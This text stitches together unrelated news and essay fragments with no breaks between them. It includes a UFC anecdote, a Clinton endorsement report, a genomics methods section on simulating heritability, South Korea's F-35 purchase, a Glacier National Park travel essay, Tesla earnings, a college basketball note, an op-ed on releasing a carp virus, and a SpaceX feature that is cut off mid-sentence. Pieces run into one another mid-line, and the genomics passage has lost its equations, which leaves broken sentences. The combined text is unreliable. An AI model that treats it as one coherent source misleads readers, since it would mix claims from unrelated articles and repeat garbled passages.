He can't! He has to do surgery.' So my manager let me know. 'They need you to go fight, or you are fired.’” Baghdad opted for surgery to repair an abdominal hernia. The punchline? The promotion was forced to cancel the event altogether when its headliner, former two-time champion BJ Penn, injured his rib and was forced to withdraw. More on that debacle here. Safe to say “The Prodigy,” who mustered up just one victory over the past seven years and hasn’t competed since July 2014, still has a job with the world’s preeminent MMA promotion. Joe Silva, interestingly enough, does not.AP Photo Clinton locks down key endorsement ahead of Puerto Rico visit Ahead of Hillary Clinton’s first campaign stop in Puerto Rico on Friday afternoon, New York's first Hispanic City Council speaker, Melissa Mark-Viverito, endorsed the Democratic front-runner in an op-ed in Puerto Rico’s largest newspaper. “For Puerto Ricans — both on the island and throughout the diaspora — this election [is] the most important in our lifetime,” Mark-Viverito writes in Nuevo Dia. “Hillary supports Puerto Rico’s push to be allowed to declare bankruptcy and be allowed to restructure its debt. Hillary has also highlighted the inequality Puerto Rico faces by its lack of federal funding under Medicare and Medicaid.” Story Continued Below Mark-Viverito is considered a rising star in New York City politics and has begun to make a name for herself on the national stage speaking out on immigration. She remains a well-known figure in Puerto Rico and plans to campaign for Clinton and other Democrats in 2016 in Florida, which has a booming Puerto Rican population, a spokesman said. Mark-Viverito endorsed Clinton in 2008 and served as a delegate for her at the Democratic National Convention that year. The two do not share a long history but have crossed paths in recent years: They appeared together at a children’s event in the Bronx last year, along with Supreme Court Justice Sonia Sotomayor. In her op-ed, Mark-Viverito lauds Clinton as an advocate for women, a reformer of the criminal justice system and someone who will push for comprehensive immigration reform. And she castigates the Republicans who have made "criminalization of Latinos and immigrants central to their campaigns." “While the Democratic Party has fielded good candidates who are proposing solutions, the Republican primary has been ugly,” she writes. “Simply put, the Republican primary has been a terrifying spectacle in madness." She ends on a feminist note: “Let’s send a woman to the White House.” Mark-Viverito’s ringing endorsement also highlights the elephant in New York City's political room when it comes to 2016 — the absence of an endorsement by Mayor Bill de Blasio. De Blasio, who served as Clinton’s campaign manager on her 2000 Senate race and worked in Bill Clinton’s administration, has so far withheld an endorsement. The hold out comes as he attempts to position himself as a national progressive standard-bearer, even co-bylining an op-ed in The Washington Post with Massachusetts Sen. Elizabeth Warren and traveling to Iowa and Wisconsin to speak on national issues. This fall, de Blasio plans to host a presidential forum in New York City. He has said he needs to hear more from Clinton, as well as the other Democratic candidates, before offering any endorsement in the race. And he has on multiple occasions gushed about Vermont Sen. Bernie Sanders. A City Hall spokesman did not immediately respond to a request for comment about the mayor’s thinking, or any timeline for an endorsement.Simulating phenotypes based on whole-genome sequencing data. We used whole-genome sequencing data from the UK10K project13 for simulations. The data set comprises 3,781 individuals from the TwinsUK and ALSPAC cohorts and ∼45.5 million genetic variants called from whole-genome sequencing after quality control. Informed consent was obtained from all the subjects. Details on the cohorts, sequencing, variant calling and quality control have been provided elsewhere13. We performed additional quality control steps on the data, excluding SNPs with missingness >0.05, Hardy-Weinberg equilibrium test P value <1 × 10−6 or minor allele count (MAC) <3 (equivalent to MAF <0.0003) using PLINK36. We also excluded individuals with genotype missingness rate >0.05 and one of each pair of individuals with estimated genetic relatedness >0.05 using variants on HapMap phase 3 reference panels (HapMap 3) after quality control. We retained 3,642 unrelated individuals and 17.6 million variants (see Supplementary Fig. 17 for the MAF distribution of the variants). We call this data set UK10K-WGS throughout the manuscript. We randomly sampled m q variants from UK10K-WGS as causal variants. We generated the phenotype using the model y = g + e, where and, with x i being the genotype variable of the ith causal variant (coded as 0, 1 or 2) and p i being the frequency of the coded allele; u i is the effect size per standardized genotype and e is the residual. This model assumes larger per-allele effect sizes for variants with lower MAFs. We generated u from N(0, 1) and then generated the residual e from. We sampled the causal variants under four scenarios: scenario I (random), 1,000 causal variants randomly sampled from all the sequence variants (52.7% rare); scenario II (more common), 1,000 random and 500 additional common (MAF >0.01) causal variants; scenario III (rarer), 1,000 random and 500 additional rare (MAF <0.01) causal variants; and scenario IV (rarer and DHS), 1,000 random and 500 additional rare causal variants all sampled from the variants in DHSs (see URLs). In the UK10K-WGS data, the mean LD score for variants in DHSs (59.3) was lower than that for variants not in DHSs (80.3), consistent with results from previous studies for common SNPs15, where the LD score for a variant was defined as the sum of the LD r2 values between the target variant and all the variants (including the target variant itself) within the 20-Mb centered on the variant (LD r2 threshold = 0.01). Given a simulated heritability of 0.8, the proportion of variance by the causal variants (stratified by MAF) in each of the four scenarios is presented in Supplementary Figure 18. We repeated the simulations 200 times with the causal variants resampled in each replicate. We analyzed the simulated data using the GREML methods. We also performed the analyses using LDAK16 v3.0 (options: minmaf = 1 × 10−6, minvar = 1 × 10−6 and maxiter = 4 × 105) and LDres as implemented in EIGENSTRAT37 v6.0.1 (options: ldposlimit = 5 × 105 and numoutlieriter = 0). Quantifying the proportion of genetic variation captured by imputation. We extracted genotype data for the variants on the Illumina CoreExome array from the UK10K-WGS data set and imputed the genotype data to the 1000 Genomes Project reference panels using IMPUTE2 (ref. 38). This was to mimic a GWAS where the subjects were genotyped using a SNP array followed by 1000 Genomes Project imputation. We repeated the analysis for four other types of commonly used SNP arrays—Affymetrix 6.0, Affymetrix Axiom, Illumina OmniExpress and Illumina Omni2.5 arrays. The numbers of variants used in the 1000 Genomes Project imputation analyses for the five types of arrays are listed in Supplementary Table 2. We converted the dosage scores (x dose ) from imputation to hard genotype calls (x), that is, x = 0 if x dose < 0.5, x = 2 if x dose > 1.5 and x = 1 otherwise), and removed imputed variants with a Hardy-Weinberg equilibrium P value <1 × 10−6 or MAC <3 (equivalent to MAF <2.5 × 10−5). We further removed variants with imputation accuracy (the metric INFO from IMPUTE2 output) below a specified threshold. We chose a range of IMPUTE-INFO threshold values (from 0 to 0.9 at intervals of 0.1) to investigate the loss of tagging by removing variants with lower imputation accuracy. We then used the MAF-stratified GREML analysis to estimate the proportion of variance in the simulated phenotype (on the basis of the UK10K-WGS data under scenario I) that could be explained by the 1000 Genomes Project–imputed variants for the five types of SNP arrays with the imputed variants filtered using ten IMPUTE-INFO thresholds. This analysis was to quantify the proportion of genetic variance that could be captured by SNP array–based genotyping followed by 1000 Genomes Project imputation when causal variants are a random sample of the whole-genome sequencing variants. GREML-MS and GREML-LDMS approaches. We have shown by theoretical derivation (Supplementary Note) that GREML-SC estimates of h2 are biased if causal variants have a different MAF spectrum than the variants used in analysis. This problem can be solved by MAF-stratified GREML (GREML-MS)14, in which the variants are stratified into groups by MAF and the GRMs computed from the variants in each of these MAF groups are fitted jointly in a multicomponent GREML analysis11. For a quantitative trait, the model of a multicomponent GREML analysis can be written as: where y is a vector of phenotypes, c is a vector of the effects of the fixed covariates (for example, the first ten eigenvectors) with the corresponding coefficient matrix K, g t is a vector of the genetic values of the individuals attributed to the variants in the tth group where, is the GRM between individuals at the variants in the tth group and T is the number of groups (variance components), and e is a vector of residuals with. The variance-covariance matrix of the phenotypes is. For variants in the tth group, the genetic relationship between individuals i and j is calculated as in ref. 12: where m t is the number of variants, x is the genotype variable coded as 0, 1 or 2, and p is frequency of the coded allele. The variance components ( and ) can be estimated using the restricted maximum likelihood (REML) approach11,39. The variance explained by the variants in each group is defined as and the variance explained by all the variants is defined as. Without loss of generality, we use the subscript v to represent a set of variants used in the analysis, with for analysis using SNP array data, for analysis using whole-genome sequencing data and for analysis using 1000 Genomes Project–imputed data. The standard errors of the estimates of and can be calculated
F-35 given the revised requirements. Lockheed Martin welcomed the news and said it remained committed to a package of technology transfers and other projects to satisfy Korea’s offset requirements, despite a cut in the number of jets to be ordered. <ID:L5N0J71DJ> The offset package includes a new military communications satellite, support for South Korean efforts to develop a new KF-X fighter jet, and a cyber warfare training centre. “We put a bunch of projects on the table and we’re not backing away,” Randy Howard, Lockheed’s South Korea F-35 campaign director, told Reuters in a telephone interview. “I’m confident we can find a way to preserve the projects that have been offered.” Friday’s decision sets in motion South Korea’s single biggest defense procurement. South Korea was initially expected to give the greenlight to Boeing Co’s (BA.N) F-15, as the aircraft was the only one among three fighter jets in the race to fall within Seoul’s budget. Under South Korean law, only bids on or under budget are considered. But in September, South Korea decided to re-examine the terms of the 8.3 trillion Korean won ($7.81 billion) tender to buy 60 fighter jets after rejecting Boeing’s bid. At the time, South Korea mentioned its need for an advanced, radar-evading jet, later mirrored by the Air Force asking for enhanced technological requirements for the jets and bolstering Lockheed’s chances with the F-35. Boeing said in a statement it remained confident its F-15, “with its superior speed, range and payload, combined with cost and schedule certainty, is what Korea needs to meet its defense needs and address the growing fighter gap”. Officials with the third bidder, Europe’s Eurofighter EAD.PA was not immediately available for comment. GEOSTRATEGIC CONCERNS South Korea’s shift toward the F-35 has been influenced by Japan’s decision to order the stealth fighter and China’s development of indigenous stealth fighters. There were concerns in South Korea that not acquiring a stealth fighter would result in a major capability gap between its neighbors. “One of the biggest reasons this program was first envisioned was to strengthen the air force’s power as nearby nations announced their plans to adopt stealth fighter jets,” said Kim Jong-ha, dean of the Graduate School of National Defense & Strategy at Hannam University. The remaining 20 fighter jets to be acquired by South Korea will be open to various models, defense ministry spokesman Kim said, and are expected to be delivered from 2023. Given the renewed process, the military and the finance ministry will redesign the budget size, officials said. “We expect to firm up the total budget size after discussions with the related ministry,” said Oh Tae-shik, a senior official at the country’s arms procurement agency. Analysts say that as the delivery for a further 20 warplanes is still a decade away, South Korea will likely seek an even more advanced jet than the F-35. ($1 = 1062.8750 Korean won)"I have to stay up here all summer and look at this,” our guide mockingly bemoaned while guiding us across exquisite Two Medicine Lake on the eastern side of Glacier National Park. We surveyed the scene along the lake cruise. The still, azure lake and the surrounding, majestic peaks – Lone Walker, Rising Wolf and Sinopah Mountain – presented as glorious a slice of scenery as I had witnessed since visiting Alaska a few years ago. On this clear, mildly breezy late summer morning, there was no discernible sign of the fires that dominated the news of this area and continued to plague a section of this most beautiful of national parks (outside of Yosemite, in my opinion). The fires are only part of the problem that natural patterns have presented this region. In 1850, there were 150 active glaciers in Glacier National Park. There are now 25 left. Scientists predict that by 2020 some of the park’s largest glaciers will be gone. By 2030, they will all most likely be gone. But it’s possible they may all be gone within a decade, as many of them are receding faster than predicted. Eh, climate change deniers? Upper Two Medicine Lake resides at an elevation of 5500 feet, the highest of the three lakes in the Two Medicine region. The hike there and back is about five miles through lovely terrain alternating between thick forest and open, elevated vistas. I hiked past twin waterfalls along trails dotted with wildflowers. The hike provides views of a third lake and golden hills in the distance. Upper Two Medicine Lake finally revealed itself beyond the thickets and an ominous sign warning “You’re entering Grizzly Territory.” I sat down and stared at the lake and hills, just vegetating for over an hour, soaking in the stillness of the scene and immersing myself in the natural beauty of the region. Hey, if a bear gets me, this is not a bad place to meet my maker. A trio of hikers arrived, breaking the silence with bells strapped to their waists to alert any bears that may be nearby. This is a wise move. When detecting humans, bears prefer to keep their distance. The danger arises when a human surprises a bear. If you plan to do extensive hiking here, it may be worthwhile to bring along some bear spray. Sidenote: On my last day at Glacier NP, driving along the eastern border of the park, I finally spotted a grizzly to the side of the road enjoying a snack of huckleberries. I watched it for several moments, mesmerized, and wondered what my reaction would be if I had encountered it while hiking. Some hikers with binoculars spotted some bighorn sheep high up the cliffs near Two Medicine Lake. The goats prefer the precarious mountain ledges to the valley where they are vulnerable to mountain lions. I imagine they have quite the view to savor from up there as well. Basic visiting and camping info Thirteen campgrounds are scattered about Glacier NP. Several guided hikes and ranger-led activities are available during the summer. If you decide to hike alone, it is recommended that you leave a voluntary day trip planner form at your hotel’s front desk. Should an adverse situation arise, park officials could use that to begin a search and rescue. Glacier's Blackfeet connection On the cruise back across Two Medicine Lake, the guide spoke of the reverence and connection the native Blackfeet had with the surrounding land and mountains for scores of generations. Glacier National Park had been inhabited and revered by the Blackfeet for 12,000 years before they were relocated to outlying reservations and communities. The beauty of the land reinforced the Blackfeet belief that we’re all connected through the land and connected with the Creator. They called Glacier National Park the “backbone of the world.” The land was an integral part of their culture and they had, and still have, an intimately spiritual connection with it. Vision quests were traditionally performed in the Two Medicine region. Unfortunately, the Blackfeet have now been exiled to reservations and communities like economically depressed Browning outside of Glacier NP (where the interested visitor can explore the Museum of the Plains Indian). The park's eastern border is the western border of their reservation. They speak of their lack of access to spiritual sites within the park and traditional holy practices such as praying and fasting for visions. The prohibition and regulation of some traditional practices within the park’s boundaries has caused tension between the Blackfeet and park officials. Most Blackfeet would like a greater role and inclusion in park management decisions, including access to spiritual sites within the park during certain select times of the year. They often feel as if they are unwelcome visitors when they enter the park, rather than the original inhabitants. Despite their differences, the Blackfeet support the role of the park service in protecting the park’s resources from further development. The Native America Speaks program offers daily activities and presentations throughout the summer to better provide visitors with a taste of Blackfeet culture. Guided tours through Sun Tours present Glacier NP from the Blackfeet perspective. Glacier Park highlights McDonald Lodge, situated near the west entrance to the park alongside Lake McDonald, is one of the most famous and historic locations for accommodations in the park. It’s the first stop for many visitors after the visitor’s center. Sunsets and sunrises here along the lake are particularly lovely. Just past McDonald Lodge on the way to Logan Pass, the Trail of the Cedars is a worthwhile stop for an invigorating short hike. I went early in the morning and encountered only one other hiker on the trail. It was a transcendent experience to be alone with these majestic trees. (This trail is also wheelchair-accessible.) A helpful tip for prospective visitors: try to make it to Logan Pass by 9 a.m. If you come at 10 or later you may not find a parking spot. You do not, however, want to rush along the engineering marvel which is the Going to the Sun Road. Often called the most spectacular drive in the world, the Going to the Sun route provides several turnouts to let you savor the spectacular scenery. Take advantage of them. Otherwise you may be tempted, as you rise into the mountains, to take your eye off the road to appreciate the expansive valley below. This is not the place to do this. Conversely, you could opt to take one of the famous park Red Jammer buses and focus on the scenery instead of the road. There are also free park shuttles that can deliver you to selected spots in the park. They tend to fill up quickly, though, in which case you will need to wait for the next shuttle – so it’s important to plan accordingly. A recommended hike near Logan Pass is the Highline Trail, which runs along the side of a mountain and offers a spectacular view of the valley. I drove the length of the Going to the Sun highway the first day it was reopened east of Logan Pass after closure due to the fire. We were not allowed to stop at the turnoffs east of Logan Pass, but I held my phone out the window to record some of the effects of the fire. The trees surrounding St. Mary’s Lake were clearly charred, and I could only imagine the loveliness of the terrain beforehand. After a lengthy drive from Logan Pass I arrived at Many Glacier Hotel, the most popular and historic resort in the park, just in time to catch my cruise across the two adjacent lakes, Swiftcurrent Lake and Lake Josephine. The two shuttle boat rides will shave 3.4 miles off the hike to Grinnell Glacier. But if you have the time, why not do it on foot? The 7.6-mile round trip hike to Grinnell Glacier from Many Glacier Hotel through thick forests of cedar and pine trees, ferns, thimbleberries and huckleberries is one of the best in the park. From the Grinnell Glacier Overlook you can savor panoramic views of the 152-acre glacier, Upper Grinnell Lake, the Garden Wall (Continental Divide), as well as Mount Gould. This year, Many Glacier Hotel celebrates its 100th anniversary. The scenic vista it offers featuring Swiftcurrent Lake and Mount Gould in the distance would be difficult for any other hotel to match. Those who don’t care for hiking can just lounge on the hotel deck and savor the view. “Jack Nicholson loves to stay here in the winter,” I was told. As our cruise boat leisurely made its way across the lake, someone swore he saw a bear swimming in the lake at a distance. Don’t know if that was legit, but I suspect that bear mirage sightings are a common park occurrence. While disembarking from the boat on the return cruise to the hotel, I took one final gaze across Swiftcurrent Lake. A smattering of kayakers drifted lazily, seemingly without a care in the world. I reluctantly turned back to my rental car. Check out Derek's e-book How to Travel On the Cheap (...and Even for Free!): Turn Your Travel Dreams Into Reality, available in the Amazon Kindle store.While Tesla’s stock price has zoomed up over the last six months, the company’s value has crashed over 12 percent in after-hours trading on Tuesday—hovering around $155 per share. (Ars recently reviewed the Model S.) The electric sportscar firm announced that it sustained a net loss of over $38 million in the third quarter of 2013. However, Tesla did beat Wall Street analysts' projections, who estimated 11 cents a share on $534.64 million in revenue. The company actually made 12 cents a share on $603 million in quarterly revenue. By contrast, the automaker sustained a quarterly profit of over $11 million the Q1 2013 and quarterly loss of over $30 million in Q2 of 2013. In short, barring an astonishingly good end of 2013, the company will have lost money for the fourth straight year. “We are now producing 550 cars per week with improved process controls which consistently result in high quality cars,” the company said in a statement. “Consequently, we finished the quarter with a record of slightly over 5,500 deliveries, including over 1,000 deliveries to European customers. Production in the quarter significantly exceeded deliveries in order to fill the pipeline of vehicles in transit to Europe and provide cars for service and marketing uses.” In the same statement, CEO Elon Musk added that the company’s next quarter research and development expenses would “increase sequentially by about 25 percent in Q4 as we accelerate product development efforts on Model X and Model S enhancements.”Virginia outgoing senior forward Darion Atkins, fresh off of earning National Defensive Player of the Year, is putting on a show at the Portsmouth Invitational Tournament. On Wednesday night, in 30 minutes of action, Atkins scored 16 points, grabbed 12 rebounds, and notched 2 blocks for Norfolk Sports Club, which fell to Mike Duman Auto Sales, 71-64. This evening, the former Wahoo, in 31 minutes of action, scored 21 points, grabbed 9 rebounds, and racked up an eye-popping 7 blocks to go along with his 2 steals and 3 assists for Norfolk Sports Club in a 73-72 win over Portsmouth Sports Club. In both games, Atkins led Norfolk Sports Club in scoring. NBA scout after watching Darion Atkins at PIT: "He may have to take the long road, but he's going to be in the NBA." #UVa[/p]— David Teel (@DavidTeelatDP) April 9, 2015Six reasons why Canberra will not be volunteering for a trial release On April Fools’ Day, I tweeted “Breaking: deadly carp herpes virus to be trial-released in Lake Burley Griffin. #StinkingFish” and added a photo of masses of dead floating carp and this link to the CSIRO, discussing the plans for national release of the cyprinid herpesvirus-3 virus (CyHV-3) into Australia’s inland rivers and lakes. I later pinged the tweet to several national news outlets. None ran it as a one of the traditional mock news stories we often see on April Fools’ Day. My attempt to seed the story would have instantly failed the instinctive credibility test that all good news editors have honed over the years. Canberra’s Lake Burley Griffin, like many of our waterways, is infested with plague proportions of “water rabbits”: the reviled European carp. The idea that a herpes virus which would rapidly see perhaps tens of thousands of bloated dead carp floating and putrefying in the national capital’s iconic lake after the trial release of the virus was obviously beyond preposterous. It was too unbelievable to rate even as a good April Fool’s joke. And this of course is exactly why I published the tweet. The planned release is no joke. The CSIRO has been engaged in prolonged research to test the efficacy of CyHV-3 in killing carp and whether it poses any threat to native fish. But Canberra’s civic authorities would be the very last to put their hands up to volunteer for a trial. There would be several compelling reasons for their reluctance. No trial release planned First, amazingly, there are no indications yet that carefully evaluated field trials are even being planned. Open, statewide release of the virus is apparently very much on the table as an option. The thinking appears to be that it could just be released wherever carp are infesting our waterways. And that’s a lot of rivers and lakes. Why no other country? Second, no nation or state anywhere in the world has ever purposefully released CyHV-3 into its waterways. If Australia goes ahead as planned, it will be the first nation to do so. Might not others have held off for good reason? Just asking … Mutations? Third, serious questions arise about how the virus came into the picture. The virus “appeared” in Israel in 1998 and has since spread to 33 known nations via the global commercial trade in ornamental carp (koi). Most of these outbreaks have been confined to koi keepers’ ponds where 70-80% of fish have rapidly died. In Japan though, the virus has been found in more than 90 rivers. Outbreaks have also been reported without any known carrier. Here, suspicion arises that water birds may be able to spread the virus. With no known history of outbreaks before it appeared in Israel, there is concern that an earlier non-fatal strain of the virus may have mutated. In discussion I had with a NSW scientist working closely on this issue, this possibility was downplayed. Herpes viruses are generally considered to be species-specific, with each animal species having its own herpes viruses. Species-specific viruses occasionally jump into new hosts, but these jumps seem to be determined by two factors. Virus jumps really only occur between closely related host species (such as HIV/AIDS virus and Ebola virus jumping from non-human primates into humans). Viruses are broadly classified as RNA or DNA viruses. DNA viruses (such as CyHV-3) are relatively stable, whereas RNA viruses (such as AIDS, Ebola and influenza viruses) are much more likely to undergo mutations that potentially allow them to jump hosts into a closely related species. Some small and very simple DNA viruses may jump species, but by contrast, CyHV-3 is a very large and complex DNA virus, and these are rarely associated with jumps. Here, note the qualified language that always must occur in science: “generally considered”, “relatively stable”, “may”, and “rarely associated”. Two viruses released in Australia to control rabbits, the Calicivirus (an RNA virus) and the virus causing Myxomatosis (a complex DNA virus) have respectively been present in Australia for some 20 and 60 years with no evidence of either jumping into another host during all that time. The question nonetheless remains as to why CyHV-3 “appeared” only relatively recently and whether related strains might later “appear” in fish other than carp. Thousands of tonnes of rotting fish Fourth, we come to the problem of humongous quantities of dead, rotting carp stinking like the gates of hell and degrading our rivers. No one knows with any accuracy how many carp now infest Australia’s waterways since their introduction in the late nineteenth century and the explosion in their numbers that followed flooding in the 1970s. One recent claim put it as “millions, if not billions”. The same report stated 140,000 tonnes of carp had been caught one year at just one lock on the Murray and processed into fertiliser. That would mean 384 tonnes each day: 16 tonnes every hour needing a 16-tonne truck delivering them to the Deniliquin carp fertiliser factory every hour. But even rampant hyperbole like that fails to diminish the massive problem of feral carp in our rivers. Up to 90% of fish in the Murray-Darling Basin are carp. The voracious, toothless fish ravages river banks looking for worms and insects, causing rivers to choke brown with mud, and greatly degrading the habitat of native species, driving their numbers down. Carp also eat native fish eggs, invertebrates and tadpoles. When carp die, they often sink and begin to rot before rising to the surface as they putrefy. I visited a friend’s koi pond recently and found a well-dead large koi rotting on the surface. I could smell the single fish 30 metres away on a windless day. If the virus is released en masse, thousands upon thousands of carp – many weighing 5kg or more – will die quickly up and downstream from each release point. When organic matter deluges waterways, the oxygen-carrying capacity of the water can be dramatically reduced, causing mass native fish deaths, as has occurred in recent years in the Hunter and Richmond rivers. Heavy rains flush this away, but in low rain and drought periods, the problem can be catastrophic. Currently there are serious algal blooms in the Murray being caused by high nutrient loads (fertiliser run-off, human and livestock waste). CSIRO experiments with the virus show that if released when the water temperature is warm, the virus will: kill up to 95 percent of individuals within 24 hours of symptoms appearing. The virus is most effective in juvenile carp, and is transferred between fish through the water, living without a host for up to four days. Rotting biomass on this scale is almost certain to cause major problems for both clean-up, and the death of native fish stock, not directly from the virus, but indirectly because of degraded water quality. The ingenious government plan to clean up this unprecedented mess is to have local community groups do it. Some A$30 million is being talked about to support this. A current NSW Natural Resources Commission draft discussion document talks of “building community capacity to participate in carp clean-up issues”. In well-populated centres near large towns, that may be sometimes realistic. But there’s the small problem that carp don’t just live near towns. They are inconsiderate enough to move right through river systems and into side channels, creeks, and billabongs. This map shows where carp are known to be in Australia. It would appear likely that volunteer recording of carp sightings is well advanced on the east coast, but less documented in the vast, remote west of the state, almost certainly because of fewer citizens being engaged in reporting, not because of less carp. Hundreds if not many thousands of tonnes of fish will die rapidly and rot in poorly inaccessible parts of our rivers. Folksy ideas about local volunteer crews cleaning all this up in a kind of aquatic “clean up Australia” movement sound seriously naïve. Unanticipated impact on ecosystem? Fifth, while feral carp are rightly vilified as pests, they have been in our rivers for many decades. Other species have adapted to them with carp fry and young fish eaten by native fish and birds. Adult carp spawn around 300,000 eggs, although a huge number of these perish or are eaten before and after fertilisation. No modelling has been released on the impact on these native species if up to 90% of a major source of food suddenly dies. Should we be planning a program to reintroduce native species, or do we just sit back and see what happens? Are we potentially leaving an ecosystem gap for some other problem to fill? Community concerns about water safety Finally, the virus will of course also get in water catchments supplying towns and cities. The CSIRO has so far been unable to guarantee that virus will be denatured by the levels of chlorination used in town water entering pipes. Warragamba and southern dams have carp and supply water to Sydney’s Prospect water treatment plant, and so we would expect direct release of the virus into these supplies. It needs to be underlined that the risk to humans is infinitesimally small, arguably non-existent. But the communication challenges of convincing the public of this will make the problems of promoting the beneficial health measures such as water fluoridation and folate fortification of flour look like a Sunday school picnic. Imagine this: “Let us release a herpes virus into the water supply. It won’t harm anyone. We promise.” Insiders are expecting Commonwealth approval for the release in 2018, with implementation shortly afterwards. Submissions are now being invited to a NSW enquiry into feral animal control, including carp. Simon Chapman has kept ornamental koi for nearly 20 years and is patron of the Australian Koi Association.by Lon Seidman and Doug Hardy \| May 1, 2011 7:51am (0) Comments \| Commenting has expired Posted to: NASA, Space Shuttle, Tech Biz Lon Seidman Photo SpaceX’s Bobby Block takes members of the news media on a tour of the company’s Cape Canaveral launch facility. CAPE CANAVERAL, Fla. — The beat up launch pad leased by California-based SpaceX looks more like a relic of the 1960s than a cutting-edge space system of the 21st century. And the company’s nearby rocket assembly building might remind some of an expanded Tuff Shed in comparison to NASA’s majestic and enormous Vehicle Assembly Building. Further, compared to NASA’s staid, carefully crafted, safety-first image, company spokesman Bobby Block might come across to some like he is the lead singer of a rock band called “SpaceX” rather than a VP of corporate communications for the same. Nevertheless, NASA and the Obama administration have decided that the scrappy, dotcom-funded startup and its equally scrappy launch pad and attitude will be one of the primary paths to space for Americans and their cargo after the shuttle is retired in June. Members of Congress, especially those from districts benefiting from NASA contracts, are still grappling with the Obama administration’s decision to cancel the $9 billion Constellation program that was supposed to succeed the shuttle. The administration and NASA are moving forward quickly with plans to get the government out of the low-earth-orbit business and to have private companies provide multiple spacecraft and launch services. —Watch President Obama’s speech announcing the cancellation of the Constellation program The change has the NASA community buzzing with concerns about jobs, history, and the program’s direction. But Philip McAlister, NASA’s acting director for commercial spaceflight development, confirmed where the manned space program is headed during an April 27 press conference at the Kennedy Space Center. “The recently enacted 2010 NASA authorization clearly established commercial crew as the primary means for U.S. access to the International Space Station. We cannot have the future of human spaceflight completely dependent on the prevailing political winds or partisan concerns,” he said, later adding, “there’s no turning back.” —Watch the NASA press conference NASA is distributing $270 million to SpaceX and three other commercial space providers in the second round of their Commercial Crew Development program (CCDev). Two of the firms — Boeing and Sierra Nevada — have decades of NASA contract experience and are utilizing components of simple, proven designs for their crew vehicles. The other two, SpaceX and Blue Origin, are new companies founded by dotcom billionaires who are starting from scratch with their designs. Paypal founder Elon Musk launched SpaceX in 2002, and Amazon.com founder and CEO Jeff Bezos quietly started Blue Origin in 2000. How did we get here? Before Musk and Bezos built their personal fortunes in the 1990s, the U.S. had lost its place at the top of the commercial space launch marketplace — a market America dominated throughout most of the 1980s. But that dominance was eroded by competition from foreign governments’ space programs, and according to the FAA, in 2010 only 4 out of 23 commercial launches worldwide went up on American rockets. That data reflects the reality that the commercial launch market had flopped in its infancy, but not without casualties among the industry’s old guard. According to company officials interviewed on April 29, Boeing was among those in the commercial launch market when it flopped. “There was this big prediction that the market would be so big, so a lot of companies like Boeing and Lockheed went out and built these rockets,” said Edmund G. Memi, manager of media relations for Boeing’s space exploration division. “And then we built all these rockets, put a lot of R&D into these rockets, and then the market was never really there to sell.” Memi said today’s market is following a similar path to the one that flopped. “They saw great promise... and the market kind of evaporated,” Memi said. “What happened was, you’ve got countries like China... you’ve got the French with their rockets. There was just a lot of competition for the price... You can’t give the rocket away. You’ve got to recoup some costs.” Michael L. Raftery, Boeing’s deputy program manager for the International Space Station, said Boeing and Lockheed “got talked into investing a lot of money in rockets” and later had to write off the losses and eventually partnered to form the United Launch Alliance (ULA). Nearly all of the ULA’s business is launching American government satellites and probes into orbit, along with a few commercial customers. SpaceX Bullish on the Future Bobby Block, VP of Communications for SpaceX, is more bullish on today’s domestic launch market and says the upstart has secured two major satellite launch contracts, and more announcements are on the way. “In the last two years we’ve taken back, for the first time in 15 years, a share of the launch market,” Block said. “We won Iridium. We’re about to announce two more satellite deals. We won SES. We’ve got agreement for one launch with a possible second. This is the first time they’ve come back to an American launcher.” In March, SpaceX and European communications giant SES signed a deal for the launch of a communications satellite in 2013 with an option for a second launch. In June 2010, Iridium agreed to a $492 million contract with SpaceX to launch its low-earth-orbit communication satellites beginning in 2015. NASA committed in late 2008 to a $1.6 billion contract with SpaceX for 12 unmanned resupply missions to the International Space Station beginning later this year. With the exception of the NASA contract, Block added, SpaceX was competing directly with foreign launch providers. Block, a former space beat reporter for the Orlando Sentinel, is not your typical aerospace executive and offers at least symbolic evidence of the cultural difference between SpaceX and NASA. He met a busload of journalists this week for a tour of the company’s Cape Canaveral facility wearing Ray Ban sunglasses, jeans, an earring, and an untucked polo shirt. He enthusiastically points out at every opportunity how the company has streamlined costs and reduced overhead to make spaceflight more affordable. As he led a group out to the launchpad SpaceX leased from the U.S. Air Force, he points to a large spherical fuel tank once used during the Apollo era and says SpaceX purchased the tank from NASA at its cost as scrap plus a dollar. The tank is completely refurbished, including what appeared to be a fresh coat of white paint. Block even claims that a $6 million renovation the Army Corps of Engineers suggested for the launch pad’s flame vent was accomplished for $60,000 by company engineers utilizing a different design. The design incorporated new metal structures that are flooded with water to reduce fiery rocket exhaust at liftoff. Neither the company, the Army Corps of Engineers, nor NASA could verify the remarkable cost-savings on the flame vent renovation, and the USAF did not return a call to their nearby offices for comment about the project. But Block isn’t afraid to offer his own brand of irreverence in the face of questions. Asked how much water is used over the vent during a launch, Block replied, “Shitloads!” It’s the kind of attitude that an upstart brings to the market with a disruption, when a new website with a better widget can overtake an established competitor, seemingly overnight. Disrupting space Block says SpaceX and its 1,200 employees manufacture 80 percent of the rocket, engines, and capsule “in-house” to reduce overhead and reliance on outside contractors. Inside the hanger, a Falcon 9 rocket is being prepped for the first commercial flight to the International Space Station. Because it was less expensive to construct a shorter building, the rocket is assembled horizontally using an apparatus that can rotate the rocket in place to give engineers access to components without having to be hoisted aloft. This makes preparations more efficient, safer, and - of course - less costly. Block said the rocket will be ready this summer to complete the next phase of their Commercial Orbital Transportation Services (COTS) program with NASA. The mission will take the company’s Dragon space capsule to the International Space Station to drop off cargo - another first for a privately owned spacecraft. SpaceX officials are confident their hardware is ready for the task - they’ve launched the Falcon 9 rocket twice and on the second flight successfully orbited and retrieved their Dragon capsule in the pacific ocean - again a first for a private company. But they’re eager to put people up in Dragon - and soon. NASA’s CCDev program provides grants to companies seeking to build spacecraft capable of carrying humans. Unlike prior government contracts, the grants are awarded in fixed amounts rather than “cost plus” arrangements that guarantee a specific profit margin. The companies agree to reach specific milestones and to invest their own capital into project development. NASA will issue a third round of competitive grants next year. The competitive grants are indicative of NASA’s new “no turning back” mentality voiced by McAlister at the April 27 news conference. “Competition is very central to our strategy,” McAlister said. “It incentivizes performance and encourages cost effectiveness.” Boeing, the lead contractor on the International Space Station, has a simple re-usable capsule design that they say will meet the objectives of the program and should be ready for unmanned test flights in 2013. They received the largest grant in the second round at $90 million. Sierra Nevada received $80 million to continue development of a mini Space Shuttle (based on an earlier NASA-designed vehicle). They expect flight testing to take place by 2014. Blue Origin wasn’t ready to announce plans to test fly their capsule at Thursday’s press conference. They received $22 million for the capsule, which is designed to take off and land vertically. Boeing and SpaceX both concede human crew development can’t be completed without government help. While there is optimism that a 